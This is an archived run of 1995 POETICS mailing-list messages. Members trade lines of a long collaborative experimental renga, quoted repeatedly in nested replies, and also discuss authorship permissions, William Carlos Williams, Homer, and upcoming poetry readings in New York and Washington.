>> bleached ribcage ripcorded into compassed wind accident
>> kissing the weatherwoman between her beasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> flicka son of thunderhead and the storm in the glass of water'
>> s halfway pertinent incision we keep making safe for ignorance
>> (inspection denied for not knowing how credenza was meant) &
>> neo-colonizing pockets in small furniture intended house
>> sequentially several mountains away but it wasn't, you know, a
>> big tango when the attorney general came, selah hales said,
>> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
>> texture so to speak was at the dry cleaners piping hot and
>> gloved-in somewhere unsalted, perched on prescience y pues nada
>> the chair is sad, alas, and i've lusted tootles' liversthe odor
>> day toy a cello day dis chevys a bo coo daughter chose encore
>> Flaubert because we're waiting all throughout
>> eternity for moments to be of such suchness,
>> to hold a rattle up, to eat our mommies.
>> In the nooks were creams and in the stream were hooks
>> All melded like striated film leftover in the pastel seeds
>> of darkness falling like a counterirritant around the manchineel.
>> Likewise seams andpaper juxtaposed with seasoned instruments and

>> recently soft fruit of subject's object status, violent
>> transformation la Ste. Therese into beaming cumulus apokoinu
>> switchback and in the u-turns were bookmobiles rounding angles
>> considered shrill as pine left in the acres to be aging
>> flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> effort really is or is not, fast enough to sleep
>> through thunderstorms, arm over thigh until light shakes
>> petals free of names that rain across known skin forgotten
>> alive in our hearse hurts, projective nurse if she is to go ahead
>> and dance, composing instead of straining muscles, far eyes
>> saunter lope pentecost beam operator will you cockpit
>> out, transplanted organs speak, the idiom
>> inseams, a snare as solvently unequal-- the power
>> uncreased although each snare still trembles quantum
>> which explains why the pump is busted and why
>> he preferred whole afternoons on the phone to that
>> crap about not having a cousin on the moon
>> capable of keeping the canoe right way up in the cool
>> prose of the upper Hudson, dinner's at seven so
>> start swimmin, bud: "lay me down in a wetsuit,
>> heats me up in the sleaze," it's like a huge dose
>> of familiarity. I am storing radiance for later use
>> I know the war-whoop in each dusty narrative
>> among the invoices and the difference engines
>> Char, Lee, Parr, Kerr, everybody is here and there
>> collecting the stamp hinges that come in on the breeze
>> delicate lace flies into pelican Bills in the house
>> of narration with partners of good moisture. Here,touch my
>> ebullience with a token gesture of sauce, of the red stuff.
>> I have a lot of duende in the freezer & we can defrost some
>> woods on a snowy evening, my horse is lovely dark and deep
>> as penitence, but let's elude the shakes and drear, get lost in
>> our palaver have tongue will travel not a binge of harmony which
>> in the end goes meerschaum on us till we blink ourselves to
>> creeping where the sublime is cows bathing in starlight. Give
>> temporality a rest, for widest space succombs to onslaughts of
>> hidden porchlight in the latitude that she has given his
>> longitude. Depth is directly stated. A signal slated to be read
>> ingratiates politicos and blond ones also shaven vortices but
>> does mangling exist or the circle is balboa plus expenses
>> cabinets away from lust and pedigree and shark fin soup
>> trailing stiffens buying tears for so many tendons

>> demitassed to mean full-bodied wine with alcohol removed
>> by trained leeches from under the rotting elastic, a feast
>> conducted by William Carlos Williams & the Five Snorers,
laying on rocks in the wind, dissonance the order of our day

↑ Index

373. **Sheila E. Murphy**

Re: Sheila & Jorge's Excellent Adventure

Wed 13 Sep 1995

Jorge wrote:
> Sheila wrote
>> Jorge wrote:
>> >Sheila wrote
>> >Jorge wrote:
>> >Sheila wrote
>> >Jorge wrote:
>> >Sheila wrote:
>> >Jorge wrote:
>> >
>> >In the books were dreams and in the dreams were books.And flew
>> >through windows '95, lightning green and fine morning
>> >First inverted whistle of a cardinal in the poplar
>> >The book and the oboe on the grass under sun and cloud
>> >Go endlessly, an obtuse Prussian blue, it binds
>> >The caravan of windows to what they flee
>> >These lace curtains, more gauze than bondage, more
>> >Mollycoddled than aware, thin-spined and pebbling
>> >but narrow in the waist or waspish Sunday years ago
>> >Over coffee topped with whipped lads, the Times blowing
>> >& opining, heavy humid air, cum amusing against the
>> >bleached ribcage ripcorded into compassed wind
>> >kissing the weatherwoman between her beasts as she
>> >gives gracious problem: fanatical snacks, landscape of
>> >flicka son of thunderhead and the storm in the glass of water'
>> >s halfway pertinent incision we keep making safe for ignorance
>> >(inspection denied for not knowing how credenza was meant) &
>> >neo-colonizing pockets in small furniture intended house
>> >sequentially several mountains away but it wasn't, you know, a
>> >big tango when the attorney general came, selah hales said,
>> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the

>> >texture so to speak was at the dry cleaners piping hot and
>> >gloved-in somewhere unsalted, perched on prescience
>> >the chair is sad, alas, and i've lusted tootles' liversthe odor
>> >day toy a cello day dis chevys a bo coo daughter chose encore
>> >Flaubert because we're waiting all throughout
>> >eternity for moments to be of such suchness.
>> >In the nooks were creams and in the stream were hooks
>> >All melded like striated film leftover in the pastel seeds
>> >of darkness falling like a counterirritant around the manchineel.
>> >Likewise seams andpaper juxtaposed with seasoned instruments and
>> >recently soft fruit of subject's object status, violent
>> >transformation la Ste. Therese into beaming cumulus apokoinu
>> >switchback and in the u-turns were bookmobiles rounding angles
>> >considered shrill as pine left in the acres to be aging
>> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> >effort really is or is not, fast enough to sleep
>> >through thunderstorms, arm over thigh until light shakes
>> >petals free of names that rain across known skin forgotten
>> >alive in our hearse hurts, projective nurse if she is to go ahead
>> >and dance, composing instead of straining muscles, far eyes
>> >saunter lope pentecost beam operator will you cockpit
>> >out, transplanted organs speak, the idiom
>> >inseams, a snare as solvently unequal-- the power
>> >uncreased although each snare still trembles quantum
>> >which explains why the pump is busted and why
>> >he preferred whole afternoons on the phone to that
>> >crap about not having a cousin on the moon
>> >capable of keeping the canoe right way up in the cool
>> >prose of the upper Hudson, dinner's at seven so
>> >start swimmin, bud: "lay me down in a wetsuit,
>> >heats me up in the sleaze," it's like a huge dose
>> >of familiarity. I am storing radiance for later use
>> >I know the war-whoop in each dusty narrative
>> >among the invoices and the difference engines
>> >Char, Lee, Parr, Kerr, everybody is here and there
>> >collecting the stamp hinges that come in on the breeze
>> >delicate lace flies into pelican Bills in the house
>> >of narration with partners of good moisture. Here,touch my
>> >ebullience with a token gesture of sauce, of the red stuff.
>> >I have a lot of duende in the freezer & we can defrost some
>> >woods on a snowy evening, my horse is lovely dark and deep
>> >as penitence, but let's elude the shakes and drear, get lost in

>> >our palaver have tongue will travel not a binge of harmony which
>> >in the end goes meerschaum on us till we blink ourselves to
>> >creeping where the sublime is cows bathing in starlight. Give
>> >temporality a rest, for widest space succombs to onslaughts of
>> >hidden porchlight in the latitude that she has given his
>> >longitude. Depth is directly stated. A signal slated to be read
>> >ingratiates politicos and blond ones also shaven vortices but
>> >does mangling exist or the circle is balboa plus expenses
>> >cabinets away from lust and pedigree and shark fin soup
>> >trailing stiffens buying tears for so many tendons
>> demitassed to mean full-bodied wine with alcohol removed
>spending the bulk of closure with sentient scoops
threatening to have been arrested when the party wasn't looking

↑ Index

374. Thomas Bell
permissions
Wed 13 Sep 1995

1) I am having trouble remembering what I did or didn't contribute. I'm not sure how I can give permission for something I don't remember doing, but am willing to do so. Thomas Bell.

2) However, after giving the issue some thought, I'm not sure I agree with piecemeal publication - what is important here I think is the process rather than the content. It is fairly common to release material and progams to freeware or the punblic somain with the stipulaion that they only be released in their entirety. Other thoughts on this issue?

↑ Index

375. Sheila E. Murphy
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

chris wrote:
>>>S&J's excellent adventure sans chevrons
>>
>Jorge wrote:
>Sheila wrote
>Jorge wrote:

>Sheila wrote
>Jorge wrote:
>Sheila wrote:
>Jorge wrote:
>
>Sheila wrote:
>
>In the books were dreams and in the dreams were books.And flew
>through windows '95, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped lads, the Times blowing
>& opining, heavy humid air, cum amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her beasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka son of thunderhead and the storm in the glass of water'
>s halfway pertinent incision we keep making safe for ignorance
>(inspection denied for not knowing how credenza was meant) &
>neo-colonizing pockets in small furniture intended house
>sequentially several mountains away but it wasn't, you know, a
>big tango when the attorney general came, selah hales said,
>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>texture so to speak was at the dry cleaners piping hot and
>gloved-in somewhere unsalted, perched on prescience
>the chair is sad, alas, and i've lusted tootles' liversthe odor
>day toy a cello day dis chevys a bo coo daughter chose encore
>Flaubert because we're waiting all throughout
>eternity for moments to be of such suchness.
>In the nooks were creams and in the stream were hooks
>All melded like striated film leftover in the pastel seeds
>of darkness falling like a counterirritant around the manchineel.
>Likewise seams andpaper juxtaposed with seasoned instruments and
>recently soft fruit of subject's object status, violent
>transformation la Ste. Therese into beaming cumulus apokoinu
>switchback and in the u-turns were bookmobiles rounding angles

>considered shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
>start swimmin, bud: "lay me down in a wetsuit,
>heats me up in the sleaze," it's like a huge dose
>of familiarity. I am storing radiance for later use
>I know the war-whoop in each dusty narrative
>among the invoices and the difference engines
>Char, Lee, Parr, Kerr, everybody is here and there
>collecting the stamp hinges that come in on the breeze
>delicate lace flies into pelican Bills in the house
>of narration with partners of good moisture. Here,touch my
>ebullience with a token gesture of sauce, of the red stuff.
>I have a lot of duende in the freezer & we can defrost some
>woods on a snowy evening, my horse is lovely dark and deep
>as penitence, but let's elude the shakes and drear, get lost in
>our palaver have tongue will travel not a binge of harmony which
>in the end goes meerschaum on us till we blink ourselves to
>creeping where the sublime is cows bathing in starlight. Give
>temporality a rest, for widest space succombs to onslaughts of
>hidden porchlight in the latitude that she has given his
>longitude. Depth is directly stated. A signal slated to be read
>ingratiates politicos and blond ones also shaven vortices but
>does mangling exist or the circle is balboa plus expenses
>cabinets away from lust and pedigree and shark fin soup
>trailing stiffens buying tears for so many tendons
>demitassed to mean full-bodied wine with alcohol removed
>by trained leeches from under the rotting elastic, a feast
of cinched trousers, steel wool and classicists weeviling their way to

↑ Index

376. Thomas Bell
Taking mercy on the over-posted
Wed 13 Sep 1995

On Monday, Sept. 11 Jorge Guitart

On Mon, 11 Sep 1995, Thomas Bell wrote:

> *But they do.*
> *Makke a rite that is. Jorge wrote*
> *On Sun, 10 Sep 1995, Jorge el Canadiense wrote:*
>
> *El otro Jorge wrote:*
> *Sheila wrote:*
> *Jorge wrote:*
> *In the books were dreams and in the dreams were*
> *books.>e> > > morning> > > >> >> >> > > > > > First inverted whistle of a*
> *cardinal in the poplar> > > >> >> >> > > > > > The book and the oboe on*
> *the*

<SNIP>

<HIDE>

<SNIP>

> grass under sun and cloud> > > >> >> >> > > > > > Go endlessly, an obtuse
> Prussian blue, it binds> > > >> >> >> > > > > > The caravan of windows to
> shakes and drear, get lost in our> > > palaver> > > >> > have tongue will
> travel not a binge of harmony which in the end goes> > > >> sublime is cows
> bathing in starlight. Give temporality a rest, for> > > widest space succom
> to onslaughts of hidden porchlight in the latitude> > > that she has given
> his longitude. Depth is directly stated. A signal> > event of the first
> order, observed by St. Petersburg poets on horses mounted on cardboard
> which i had given Park Place & two railroads for--
> for the price Barnum %& Bailey began postmodernism with
> by not giving the auroras-of-autumn suckers and even break, but scratching Chickens Little little knew the red wheelie he

↑ Index

377. **W. Northcutt**
Red Wheelbarrow and that Road-Kill Chicken
Wed 13 Sep 1995

How terribly offensive the discussion has turned re Williams.

He is neither vanilla at Baskin Robbins, nor white sauce. And Ron, you should know better. He isn't butter on biscuits. He is plumb-jam on bagels.

Rengas are stinky cheese, or should be.

Must it always take an expatriate to set straight those of you in the English-speaking countries????

Chicken House Willie

↑ Index

378. **Ron Silliman**
Re: use narrative engines
Wed 13 Sep 1995

Jordan,

Really like what you're doing with (to) the rengiad.

But touch your own red stuff, puhlease.

Ed (Hal?)

White sauce w/ WCW has too much fat. Dat's the way they like it in Iowa City.

Ron

↑ Index

379. **cris cheek**
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

> Sheila wrote
>> Jorge wrote:
>> >Sheila wrote
>> >Jorge wrote:
>> >Sheila wrote
>> >Jorge wrote:
>> >Sheila wrote:
>> >Jorge wrote:
>> >
>> >In the books were dreams and in the dreams were books.And flew

>> >through windows '95, lightning green and fine morning
>> >First inverted whistle of a cardinal in the poplar
>> >The book and the oboe on the grass under sun and cloud
>> >Go endlessly, an obtuse Prussian blue, it binds
>> >The caravan of windows to what they flee
>> >These lace curtains, more gauze than bondage, more
>> >Mollycoddled than aware, thin-spined and pebbling
>> >but narrow in the waist or waspish Sunday years ago
>> >Over coffee topped with whipped lads, the Times blowing
>> >& opining, heavy humid air, cum amusing against the
>> >bleached ribcage ripcorded into compassed wind
>> >kissing the weatherwoman between her beasts as she
>> >gives gracious problem: fanatical snacks, landscape of
>> >flicka son of thunderhead and the storm in the glass of water'
>> >s halfway pertinent incision we keep making safe for ignorance
>> >(inspection denied for not knowing how credenza was meant) &
>> >neo-colonizing pockets in small furniture intended house
>> >sequentially several mountains away but it wasn't, you know, a
>> >big tango when the attorney general came, selah hales said,
>> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>> >texture so to speak was at the dry cleaners piping hot and
>> >gloved-in somewhere unsalted, perched on prescience
>> >the chair is sad, alas, and i've lusted tootles' liversthe odor
>> >day toy a cello day dis chevys a bo coo daughter chose encore
>> >Flaubert because we're waiting all throughout
>> >eternity for moments to be of such suchness.
>> >In the nooks were creams and in the stream were hooks
>> >All melded like striated film leftover in the pastel seeds
>> >of darkness falling like a counterirritant around the manchineel.
>> >Likewise seams andpaper juxtaposed with seasoned instruments and
>> >recently soft fruit of subject's object status, violent
>> >transformation la Ste. Therese into beaming cumulus apokoinu
>> >switchback and in the u-turns were bookmobiles rounding angles
>> >considered shrill as pine left in the acres to be aging
>> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> >effort really is or is not, fast enough to sleep
>> >through thunderstorms, arm over thigh until light shakes
>> >petals free of names that rain across known skin forgotten
>> >alive in our hearse hurts, projective nurse if she is to go ahead
>> >and dance, composing instead of straining muscles, far eyes
>> >saunter lope pentecost beam operator will you cockpit

>> >out, transplanted organs speak, the idiom
>> >inseams, a snare as solvently unequal-- the power
>> >uncreased although each snare still trembles quantum
>> >which explains why the pump is busted and why
>> >he preferred whole afternoons on the phone to that
>> >crap about not having a cousin on the moon
>> >capable of keeping the canoe right way up in the cool
>> >prose of the upper Hudson, dinner's at seven so
>> >start swimmin, bud: "lay me down in a wetsuit,
>> >heats me up in the sleaze," it's like a huge dose
>> >of familiarity. I am storing radiance for later use
>> >I know the war-whoop in each dusty narrative
>> >among the invoices and the difference engines
>> >Char, Lee, Parr, Kerr, everybody is here and there
>> >collecting the stamp hinges that come in on the breeze
>> >delicate lace flies into pelican Bills in the house
>> >of narration with partners of good moisture. Here,touch my
>> >ebullience with a token gesture of sauce, of the red stuff.
>> >I have a lot of duende in the freezer & we can defrost some
>> >woods on a snowy evening, my horse is lovely dark and deep
>> >as penitence, but let's elude the shakes and drear, get lost in
>> >our palaver have tongue will travel not a binge of harmony which
>> >in the end goes meerschaum on us till we blink ourselves to
>> >creeping where the sublime is cows bathing in starlight. Give
>> >temporality a rest, for widest space succombs to onslaughts of
>> >hidden porchlight in the latitude that she has given his
>> >longitude. Depth is directly stated. A signal slated to be read
>> >ingratiates politicos and blond ones also shaven vortices but
>> >does mangling exist or the circle is balboa plus expenses
>> >cabinets away from lust and pedigree and shark fin soup
>> >trailing stiffens buying tears for so many tendons
>> demitassed to mean full-bodied wine with alcohol removed
>spending the bulk of closure with sentient scoops
that fluke picnic shot out of these worlds we spread been-to

↑ Index

380. Don Cheney
twenty questions
Wed 13 Sep 1995

> *Probably the less said about the language of life, and the more about linebreak the better, but I'm guessing the new radio show out of*

> *Buffalo won't have the kind of grant money PBS did, nor would it use that money to produce a very slick set of teacher's guides (including 18 poet cards--bigger and less exciting than baseball cards). Outreach! they call it.*
>
> *Here are some "questions to think about" from the teacher's guide to "The Language of Life" with Bill Moyers (with apologies to C Forche, the only list member ((I think)) involved). High school teachers will be asking these questions to future citizens of our various polises (polices?) in the next few weeks...*

Why is "what you dream up" deeper than what you know? I don't know.

What will you do with your time? Besides renga-ing out, "Pinch me Alfredo and pass the hot sauce"?

Why should you be suspicious of what you want? Because I want what I'm suspicious of.

When did you last surprise wounds of your own this long time unmothered?
    The last meeting I attended at work.
How _can_ we move toward one another?
    Try a little push-broom.
How do you know if you can or can't sing?
    I cant.
When do you catch sight of the promised land?
    It pokes out my brain and through my forehead.
What have you been given for your poetry?
    A high-five from Bill Luoma.
To what do you pledge allegiance?
    The doppelg nger of Double Cola.
What is the "myself" that you want to be?
    An American Kestrel.
What kind of satchel do you carry your poems in?
    More like, "What kind of Satchel do you carry your Paiges in?"
How have you honored that floral apron?
    Hideo Nomo swats horseflies.
When did you last forget _your_
    distance?
    I never knew it.
What are the circumstances in which you are reading the poem?
    Many.
What would you aim your poems at?
    The inside part of the plate.

What music is great enough to bring you back?
Meat Puppets.
What leads you back to a person you need to remember?
Notes.
What happened before you were born that still matters to you now?
Castro.

I'll be collecting your papers next Tuesday, typed, double spaced... Jordan

> *-- Saved internet headers (useful for debugging)*
> *Date: Tue, 12 Sep 1995 18:10:46 -0400*
> *From: "Jordan Davis." <[redacted]>*
> *Subject: twenty questions*
> *To: Multiple recipients of list POETICS <[redacted]>*

↑ Index

381. Judy Roitman
Re: Entry Phrasing
Wed 13 Sep 1995

Someone asked (rhetorically I believe) if Homer ever uses "I". So I asked my husband Stanley Lombardo and he responded:

Yes, Homer does say "I" of himself, In Iliad 2, right before the catalogue of the ships. And in the first line of the Odyssey he says "me."

(Stan's translation of the Iliad comes out next fall.)

↑ Index

382. Judy Roitman
Re: unidentified photo
Wed 13 Sep 1995

> *I know some of you are familiar with Theresa Cha's book Dictee, so I thought maybe I could pose my question here. It is: who is the woman in the picture at the beginning of the Erato-Love Poetry section? She's holding what looks like a flag and sword. I would appreciate any help. --brian*

Hi, Stan. Isn't Dictee the book we picked up at SMall Press Distribution?

Judy Roitman, Math, University of Kansas, Lawrence, KS 66045, [redacted]

↑ Index

383. **Judy Roitman**
Re: Fall Ear Inn Schedule (fwd)
Wed 13 Sep 1995

> *I'm informed that the Watten / MacLow reading is Oct. 14th NOT Oct. 21. Guess that would put Goldsmith/Fodaski the 21st?*
>
> *Watten will be reading DC Oct. 15th. at Bridge Street Books.*
> *Rosmarie Waldrop & Joan Retallack will be reading in Nov.*
>
> *--Rod*

I'm going to be in DC next week. Any readings Thursday through Saturday night? (9-21 & 9-23).

Really enjoy visiting Bridge Street Books whenever I'm in town.

---------- Judy Roitman, Math, University of Kansas, Lawrence, KS 66045, [redacted]

↑ Index

384. **Bill Luoma**
Corrected Fall Ear Inn Schedule (fwd)
Wed 13 Sep 1995

OCTOBER &
NOVEMBER
AT THE EAR INN

October 7: Rob Fitterman/Dan Farrell Rob Fitterman, editor of Object and ex-chinchilla rancher, is the author of Ameresque, Metropolis and Why It Won't Fly. Rob was recently named one of People Magazine's Best Dressed of 1995 and his current project involves nirvana. Dan Farrell is the author of ape and Thimking of You. Chef to the minion of Gormal, Dan lives in Vancouver and has recently been touring with the musical group Nostradamus Now.

October 14: Barrett Watten/Jackson MacLow Barrett Watten co-edits Poetics Journal, teaches Modernism and Cultural Studies at Wayne State University in Detroit and is the author of Plasma, Progress and the forthcoming Frame: 1970-1990. Jackson MacLow has written numerous books including 42 Merzgedichte in Memoriam Kurt Schwitters and Pieces o' Six. MacLow is currently searching the manufacturing sector for pyramid shapes.

October 21: Kenneth Goldsmith/Liz Fodaski Kenneth Goldsmith is a ham radio host with a muckraker's eye and an arsenal of political products. His books include 73 Poems, The Mona Lisa Smiled at Me and Green Apples. Liz Fodaski editsTorque, pronounces her name phonetically and teaches English at St. Ann's in Brooklyn. She is the author of Ouch, Millenarian's Phonebook and Who Dunnit and knows the secret of ruby mining.

October 28: Carla Harryman/Steve Benson Carla Harryman is the author of Animal Instincts and Property and is most famous for her discovery of salt. Monkeywrencher of commodification industries and exalted by mammals, Carla receives information without charge. Steve Benson has written The Buses and The Blue Book. Benson collaborates with Biblical figures without regard to the status of hydroponic farming in Alaska.

November 4: Gale Nelson/Charles Cantalupo Gale Nelson is the author of Stare Decisis (Burning Deck), Little Brass Pump (Leave Books), and The Mystic Cypher (Texture). He is also editor of the journal Cathay. He currently teaches at Brown University. Charles Cantalupo is the author of ANIMA/L WO/MAN AND OTHER SPIRITS (Spectacular Diseases), The World of Ngugi Wa Thiong'o (Africa World Press) and numerous other volumes of poetry and criticism.

November 11: Jessica Grim/John Keene Jessica Grim is the author of Locale (Potes & Poets, 1995), The Inveterate Life (O Books, 1990), Intrepid Hearts (Coincidence, 1986). She is the co-editor of Big Allis, and lives and works in Oberlin, Ohio. John Keene is the author of the recently published experimental novel, "Annotations" (New Directions, 1995). He is a member of the Dark Room Collective, and managing editor of Callaloo.

November 18: Thomas Meyer/Jonathan Williams Thomas Meyer is the author of Staves, Calends, Legends: The Umbrella of Aesculapius; Sappho's Raft and the Bang Bood-all from The Jargon Society, and Tom Writes This For Robert To Read (St. Lazaire). Jonathan Williams is the founder of The Jargon Society, and the author of An Ear in Bartram's Tree , Quote, Unquote (Ten Speed Press), Dementations of a Shank Mare (Truck Press) and many other books.

November 25: Drew Gardner/Juliana Spahr Drew Gardner is the author of The Stone Walk (St. Lazaire) and The Cover (Leave Books). His work has appeared in Talisman, Notus and O.blek. He is also a musician who has recently performed at the Knitting Factory. Juliana Spahr is the publisher of Leave Books and the author of Nuclear (Leave Books). Recent publications edited include Chain and A Poetics of Criticism. She has recently returned to Manhattan after receiving her Ph.D from SUNY Buffalo.

SATURDAY AFTERNOON READINGS BEGIN AT 3:00PM! $3 contribution goes to readers. THE EAR INN is at 326 Spring Street, NYC. Coordinators for this series are Jeff Hull (October) and Tim Davis and Brian Kim Stefans (November).

Continuing support for this series is provided by the Segue Foundation. Funding is also made possible by support from the Literature Program of the New York State Council on the Arts. PLEASE SUPPORT THE EAR-COME EARLY FOR LUNCH, STAY LATE FOR DINNER!

↑ Index

385. **Mark Wallace**
Ruthless Grip Art Project Poetry Readings
Wed 13 Sep 1995

Here's the fall list of readings at D.C.'s Ruthless Grip Art Project:

October 14--Bill Luoma and Jordan Davis

November 11--An Evening of Sound Performance with Mike Basinski and members of the East Buffalo Media Association

December 9--Juliana Spahr and Mary Hilton

Ruthless Grip is located on U Street NW near the corner of 15th. All readings are Saturday nights at 7:30 p.m.

Bridge Street Books (Rod Smith) and the DCAC Arts Center (Heather Fuller and Joe Ross) are also featuring reading series in D.C. this fall. Rod Smith and Joe Ross can be reached via the Poetics list.

mark wallace

↑ Index

386. **Aldon L. Nielsen**
Re: inquiry from the unlettered
Wed 13 Sep 1995

Ed -- I know who Hal Foster is, but who the hell is this a. neilson guy?

↑ Index

387. **Aldon L. Nielsen**
Re: rehire
Wed 13 Sep 1995

Alan -- just out of curiousity -- weren't you guys trying to hire in postcolonial studies a few years back? Is this another try, or did somebody leave? I know one possible candidate here in the Bay area -- will tell him about it --

↑ Index

388. Aldon L. Nielsen
Re: unrenga the bell
Wed 13 Sep 1995

I have read every word of every renga, and have not once contributed a line. I hereby grant permission to include my lurking presence in any and all future reproductions of said rengas unconditionally and in perpetuity.

↑ Index

389. Steven Howard Shoemaker
renga
Wed 13 Sep 1995

Well, I have to admit I "started" it. But i agree with Charles Alexander that that doesn't really make a helluva lot of difference.

best,
steve shoemaker

"From: Thomas Bell <[redacted]>
Subject: renga

> Is no one going to take responsibility of initiating
> this whole thing. I would say that that person is in reality
> the author and they should be the one whose permission is
> needed"

↑ Index

390. Daniel Bouchard/College/hmco
Re: Entry Phrasing
Wed 13 Sep 1995

Is Stan's translation being published by HACKETT in Cambridge, Mass. by any chance?
Just curious.
[redacted]

Someone asked (rhetorically I believe) if Homer ever uses "I". So I asked my husband Stanley Lombardo and he responded:

Yes, Homer does say "I" of himself, In Iliad 2, right before the catalogue of the ships. And in the first line of the Odyssey he says "me."

(Stan's translation of the Iliad comes out next fall.)

↑ Index

391. Rod Smith
Re: twenty questions, sort of
Wed 13 Sep 1995

Rather like the question:
>What are the circumstances in which you are reading the poem?

More DC area readings coming up--

Carolyn Forche & Joan Retallack at The Writer's Center in Bethesda Oct. 22nd at 2 PM.

Coming up at Ruthless Grip, near 15th & U, Oct 14-- Bill Luoma & Jordan Davis, Nov. 11-- Mike Basinski & members of his roving band, Dec 9-- Juliana Spahr & Mary Hilton, all readings begin at 7:30.

--Rod

↑ Index

392. Louis Cabri
trued to sound a version of Tue, 12 Sep 1995 01:23:45 -0400
Wed 13 Sep 1995

In the chooks ere reamed the dreams wear toques
Flew to rue a doer's light ease by tine's din
Worst cardinal lair

Bowed asunder sun loud
End less use rushing ruse finds
Raving seeded to flee

Placed tains moral-gauzed heads
Coddle-ware spin dribblings
But a row in the ear

Fees top peddling owls
"Heady crude"
To each a cage ordered to compass

A condiment
Rice feasts toothed
Undid in twos

To hose an iffy haze
Fussed into dialing lots
Owls' edgy rental

Linguent spread and heft
Just proxy juices
Guesses still lip to print a named rarity

↑ Index

393. Sheila E. Murphy

Re: this break will or will not not branch

Wed 13 Sep 1995

>In the books were dreams and in the dreams were books.
>And flew through windows lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped lads, the Times blowing
>& opining, heavy humid air, cum amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her beasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka son of thunderhead and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
>(inspection denied for not knowing how credenza was meant) &
>neo-colonizing pockets in small furniture intended house
>sequentially several mountains away but it wasn't, you know, a
>big tango when the attorney general came, selah hales said,
>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>texture so to speak was at the dry cleaners piping hot and
>gloved-in somewhere unsalted, perched on prescience
>the chair is sad, alas, and i've lusted tootles' liversthe odor
>day toy a cello day dis chevys a bo coo daughter chose encore
>Flaubert because we're waiting all throughout
>eternity for moments to be of such suchness.
>In the nooks were creams and in the stream were hooks
>All melded like striated film leftover in the pastel seeds
>of darkness falling like a counterirritant around the manchineel.
>Likewise seams andpaper juxtaposed with seasoned instruments and
>recently soft fruit of subject's object status, violent

>transformation la Ste. Therese into beaming cumulus apokoinu
>switchback and in the u-turns were bookmobiles rounding angles
>considered shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
>start swimmin, bud: "lay me down in a wetsuit,
>heats me up in the sleaze," it's like a huge dose
>of familiarity. I am storing radiance for later use
>I know the war-whoop in each dusty narrative
>among the invoices and the difference engines
>Char, Lee, Parr, Kerr, everybody is here and there
>collecting the stamp hinges that come in on the breeze
>delicate lace flies into pelican Bills in the house
>of narration with partners of good moisture. Here,touch my
>ebullience with a token gesture of sauce, of the red stuff.
>I have a lot of duende in the freezer & we can defrost some
>woods on a snowy evening, my horse is lovely dark and deep
>as penitence, but let's elude the shakes and drear, get lost in
>our palaver have tongue will travel not a binge of harmony which
>in the end goes meerschaum on us till we blink ourselves to
>creeping where the sublime is cows bathing in starlight. Give
>temporality a rest, for widest space succombs to onslaughts of
>hidden porchlight in the latitude that she has given his
>longitude. Depth is directly stated. A signal slated to be read
>ingratiates politicos and blond ones also shaven vortices but
>does mangling exist or the circle is balboa plus expenses
>cabinets away from lust and pedigree and shark fin soup
>trailing stiffens buying tears for so many tendons
>demitassed to mean full-bodied wine with alcohol removed

>by trained leeches from under the rotting elastic, a feast
>of swirling eddies with beaucoup of labia & confetti
>starving time's scythe for water, matching colors to go
crecheward into sweet line drawings clothed to world our

↑ Index

394. **Tony Green**
Re: SPECIAL AGENCY
Wed 13 Sep 1995

Marcel Proust = rats crumple

Tony Green,
e-mail: [redacted]

↑ Index

395. **Jorge Guitart**
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

> > George B wrote
> > Jorge wrote:
